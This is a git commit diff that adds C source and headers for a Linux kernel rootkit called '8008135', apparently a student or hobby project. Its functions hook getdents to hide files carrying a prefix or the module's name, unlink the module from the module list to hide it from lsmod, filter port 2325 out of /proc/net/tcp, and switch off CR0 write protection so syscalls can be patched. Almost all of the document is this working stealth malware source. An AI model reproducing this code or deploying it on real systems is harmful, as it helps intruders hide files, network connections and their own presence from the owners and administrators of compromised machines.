exporting functions to files
parent
bd0a37f68b
commit
500087d2ca
@ -0,0 +1,72 @@
|
|||||||
|
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
|
||||||
|
/*
|
||||||
|
* main.c
|
||||||
|
* Copyright (C) 2019
|
||||||
|
*
|
||||||
|
* 8008135 is free software: you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU General Public License as published by the
|
||||||
|
* Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* 8008135 is distributed in the hope that it will be useful, but
|
||||||
|
* WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
* See the GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along
|
||||||
|
* with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
/*******************************************************************************/
|
||||||
|
|
||||||
|
|
||||||
|
/**** includes *****************************************************************
|
||||||
|
*******************************************************************************/
|
||||||
|
#include "637d3n75.h"
|
||||||
|
|
||||||
|
|
||||||
|
/*******************************************************************************/
|
||||||
|
|
||||||
|
/*** FUNCTION ****************************************************************
|
||||||
|
* NAME: sys_getdents_new
|
||||||
|
* DESCRIPTION: function overriding the original getdents
|
||||||
|
* PARAMETERS: -
|
||||||
|
* RETURNS: -
|
||||||
|
*******************************************************************************/
|
||||||
|
asmlinkage long sys_getdents_new(unsigned int fd,
|
||||||
|
struct linux_dirent __user *dirent,
|
||||||
|
unsigned int count){
|
||||||
|
int boff;
|
||||||
|
struct linux_dirent* ent;
|
||||||
|
|
||||||
|
long ret = sys_getdents_orig(fd, dirent, count);
|
||||||
|
|
||||||
|
char* dbuf;
|
||||||
|
|
||||||
|
if (ret <= 0) {
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
dbuf = (char*)dirent;
|
||||||
|
|
||||||
|
// go through the entries, looking for one that has our prefix
|
||||||
|
for (boff = 0; boff < ret;) {
|
||||||
|
|
||||||
|
ent = (struct linux_dirent*)(dbuf + boff);
|
||||||
|
|
||||||
|
// if it has hide prefix or module name anywhere, hide it
|
||||||
|
if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0)
|
||||||
|
|| (strstr(ent->d_name, MODULE_NAME) != NULL)) {
|
||||||
|
// remove this entry by copying everything after it forward
|
||||||
|
// and adjust the length reported
|
||||||
|
memcpy(dbuf + boff,
|
||||||
|
dbuf + boff + ent->d_reclen,
|
||||||
|
ret - (boff + ent->d_reclen));
|
||||||
|
ret -= ent->d_reclen;
|
||||||
|
} else {
|
||||||
|
// on to the next entry
|
||||||
|
boff += ent->d_reclen;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return ret;
|
||||||
|
}
|
@ -0,0 +1,36 @@
|
|||||||
|
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
|
||||||
|
/*
|
||||||
|
* main.c
|
||||||
|
* Copyright (C) 2019
|
||||||
|
*
|
||||||
|
* 8008135 is free software: you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU General Public License as published by the
|
||||||
|
* Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* 8008135 is distributed in the hope that it will be useful, but
|
||||||
|
* WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
* See the GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along
|
||||||
|
* with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*******************************************************************************/
|
||||||
|
|
||||||
|
/**** includes *****************************************************************
|
||||||
|
*******************************************************************************/
|
||||||
|
#include "h1d3m0dul3.h"
|
||||||
|
|
||||||
|
/*******************************************************************************/
|
||||||
|
|
||||||
|
/*** FUNCTION ****************************************************************
|
||||||
|
* NAME: hide_module
|
||||||
|
* DESCRIPTION: hides the module from lsmod
|
||||||
|
* PARAMETERS: -
|
||||||
|
* RETURNS:
|
||||||
|
*******************************************************************************/
|
||||||
|
void hide_module(void){
|
||||||
|
list_del(&THIS_MODULE->list);
|
||||||
|
}
|
@ -0,0 +1,91 @@
|
|||||||
|
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
|
||||||
|
/*
|
||||||
|
* main.c
|
||||||
|
* Copyright (C) 2019
|
||||||
|
*
|
||||||
|
* 8008135 is free software: you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU General Public License as published by the
|
||||||
|
* Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* 8008135 is distributed in the hope that it will be useful, but
|
||||||
|
* WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
* See the GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along
|
||||||
|
* with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*******************************************************************************/
|
||||||
|
|
||||||
|
/**** includes *****************************************************************
|
||||||
|
*******************************************************************************/
|
||||||
|
#include "h1d3p0r7.h"
|
||||||
|
|
||||||
|
/*******************************************************************************/
|
||||||
|
|
||||||
|
/*** FUNCTION ****************************************************************
|
||||||
|
* NAME: hide port
|
||||||
|
* DESCRIPTION: hides the port 2325
|
||||||
|
* PARAMETERS: -
|
||||||
|
* RETURNS:
|
||||||
|
*******************************************************************************/
|
||||||
|
|
||||||
|
asmlinkage long hacked_read(unsigned int fd, char __user *buf,
|
||||||
|
size_t count)
|
||||||
|
{
|
||||||
|
long result, bp, diff_in_bytes;
|
||||||
|
char *kbuf, *start_line, *end_line, *port_num;
|
||||||
|
char *pathname, pbuf[256];
|
||||||
|
struct files_struct *current_files;
|
||||||
|
struct fdtable *files_table;
|
||||||
|
struct path file_path;
|
||||||
|
|
||||||
|
// run real read
|
||||||
|
result = (*orig_read)(fd,buf,count);
|
||||||
|
if (result <= 0)
|
||||||
|
return result;
|
||||||
|
|
||||||
|
// get pathname
|
||||||
|
// CITATION [8] from report
|
||||||
|
current_files = current->files;
|
||||||
|
files_table = files_fdtable(current_files);
|
||||||
|
|
||||||
|
file_path = files_table->fd[fd]->f_path;
|
||||||
|
pathname = d_path(&file_path,pbuf,256*sizeof(char));
|
||||||
|
// if virtual file /proc/net/tcp
|
||||||
|
if (!strncmp(pathname,"/proc/",6) && !strcmp(pathname+10,"/net/tcp")) {
|
||||||
|
// copy from user to kernelspace;
|
||||||
|
if (!access_ok(VERIFY_READ,buf,result))
|
||||||
|
return -1;
|
||||||
|
if ((kbuf = kmalloc(result,GFP_KERNEL)) == NULL)
|
||||||
|
return -1;
|
||||||
|
if (copy_from_user(kbuf,buf,result))
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
// filter out hidden ports
|
||||||
|
start_line = strchr(kbuf,':') - 4; // skip first line
|
||||||
|
diff_in_bytes = (start_line - kbuf) * sizeof(char);
|
||||||
|
for (bp = diff_in_bytes; bp < result; bp += diff_in_bytes) {
|
||||||
|
start_line = kbuf + bp;
|
||||||
|
port_num = strchr(strchr(start_line,':') + 1,':') + 1;
|
||||||
|
end_line = strchr(start_line,'\n');
|
||||||
|
diff_in_bytes = ((end_line - start_line) + 1) * sizeof(char);
|
||||||
|
if (!strncmp(port_num,HIDE_PORT,4)) { // if magic port
|
||||||
|
memmove(start_line,end_line + 1, // delete line in file
|
||||||
|
result - bp - diff_in_bytes);
|
||||||
|
result -= diff_in_bytes;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// copy from kernel to userspace
|
||||||
|
if (!access_ok(VERIFY_WRITE,buf,result))
|
||||||
|
return EINVAL;
|
||||||
|
if (copy_to_user(buf,kbuf,result))
|
||||||
|
return EINVAL;
|
||||||
|
kfree(kbuf);
|
||||||
|
}
|
||||||
|
// return number of bytes read
|
||||||
|
return result;
|
||||||
|
}
|
@ -0,0 +1,2 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <linux/fs.h>
|
@ -0,0 +1,32 @@
|
|||||||
|
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
|
||||||
|
/*
|
||||||
|
* main.c
|
||||||
|
* Copyright (C) 2019
|
||||||
|
*
|
||||||
|
* 8008135 is free software: you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU General Public License as published by the
|
||||||
|
* Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* 8008135 is distributed in the hope that it will be useful, but
|
||||||
|
* WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
* See the GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along
|
||||||
|
* with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef SRC_HEADERS_637d3n75_H
|
||||||
|
#define SRC_HEADERS_637d3n75_H
|
||||||
|
|
||||||
|
/**** var ********************************************************************
|
||||||
|
*******************************************************************************/
|
||||||
|
sys_getdents_t sys_getdents_orig = NULL;
|
||||||
|
|
||||||
|
|
||||||
|
extern asmlinkage long sys_getdents_new(unsigned int fd,
|
||||||
|
struct linux_dirent __user *dirent,
|
||||||
|
unsigned int count);
|
||||||
|
|
||||||
|
#endif
|
@ -0,0 +1,26 @@
|
|||||||
|
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
|
||||||
|
/*
|
||||||
|
* main.c
|
||||||
|
* Copyright (C) 2019
|
||||||
|
*
|
||||||
|
* 8008135 is free software: you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU General Public License as published by the
|
||||||
|
* Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* 8008135 is distributed in the hope that it will be useful, but
|
||||||
|
* WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
* See the GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along
|
||||||
|
* with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef SRC_HEADERS_h1d3m0dul3_H
|
||||||
|
#define SRC_HEADERS_h1d3m0dul3_H
|
||||||
|
|
||||||
|
|
||||||
|
extern void hide_module(void);
|
||||||
|
|
||||||
|
#endif
|
@ -0,0 +1,31 @@
|
|||||||
|
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
|
||||||
|
/*
|
||||||
|
* main.c
|
||||||
|
* Copyright (C) 2019
|
||||||
|
*
|
||||||
|
* 8008135 is free software: you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU General Public License as published by the
|
||||||
|
* Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* 8008135 is distributed in the hope that it will be useful, but
|
||||||
|
* WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
* See the GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along
|
||||||
|
* with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef SRC_HEADERS_h1d3p0r7_H
|
||||||
|
#define SRC_HEADERS_h1d3p0r7_H
|
||||||
|
|
||||||
|
#include "50ck3t.h"
|
||||||
|
/**** var **********************************************************************
|
||||||
|
*******************************************************************************/
|
||||||
|
read_ptr orig_read;
|
||||||
|
|
||||||
|
extern asmlinkage long hacked_read(unsigned int fd, char __user *buf,
|
||||||
|
size_t count)
|
||||||
|
|
||||||
|
#endif
|
@ -0,0 +1,31 @@
|
|||||||
|
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
|
||||||
|
/*
|
||||||
|
* main.c
|
||||||
|
* Copyright (C) 2019
|
||||||
|
*
|
||||||
|
* 8008135 is free software: you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU General Public License as published by the
|
||||||
|
* Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* 8008135 is distributed in the hope that it will be useful, but
|
||||||
|
* WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
* See the GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along
|
||||||
|
* with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef SRC_HEADERS_p463unpr073c7_H
|
||||||
|
#define SRC_HEADERS_p463unpr073c7_H
|
||||||
|
|
||||||
|
|
||||||
|
/**** defines *****************************************************************
|
||||||
|
*******************************************************************************/
|
||||||
|
#define WRITE_PROTECT_FLAG (1<<16)
|
||||||
|
|
||||||
|
extern void wprotectionoff(void);
|
||||||
|
extern void wprotectionon(void);
|
||||||
|
|
||||||
|
#endif
|
@ -0,0 +1,48 @@
|
|||||||
|
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
|
||||||
|
/*
|
||||||
|
* main.c
|
||||||
|
* Copyright (C) 2019
|
||||||
|
*
|
||||||
|
* 8008135 is free software: you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU General Public License as published by the
|
||||||
|
* Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* 8008135 is distributed in the hope that it will be useful, but
|
||||||
|
* WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
* See the GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along
|
||||||
|
* with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*******************************************************************************/
|
||||||
|
|
||||||
|
/**** includes *****************************************************************
|
||||||
|
*******************************************************************************/
|
||||||
|
#include "p463unpr073c7.h"
|
||||||
|
|
||||||
|
/*******************************************************************************/
|
||||||
|
|
||||||
|
|
||||||
|
/*** FUNCTION ****************************************************************
|
||||||
|
* NAME: wprotectionoff
|
||||||
|
* DESCRIPTION: turn page write protection off
|
||||||
|
* PARAMETERS: -
|
||||||
|
* RETURNS:
|
||||||
|
*******************************************************************************/
|
||||||
|
void wprotectionoff(void){
|
||||||
|
write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG));
|
||||||
|
}
|
||||||
|
|
||||||
|
/*** FUNCTION ****************************************************************
|
||||||
|
* NAME: wprotectionon
|
||||||
|
* DESCRIPTION: turn page write protection on
|
||||||
|
* PARAMETERS: -
|
||||||
|
* RETURNS:
|
||||||
|
*******************************************************************************/
|
||||||
|
|
||||||
|
void wprotectionon(void){
|
||||||
|
write_cr0(read_cr0() | WRITE_PROTECT_FLAG);
|
||||||
|
}
|
Loading…
Reference in New Issue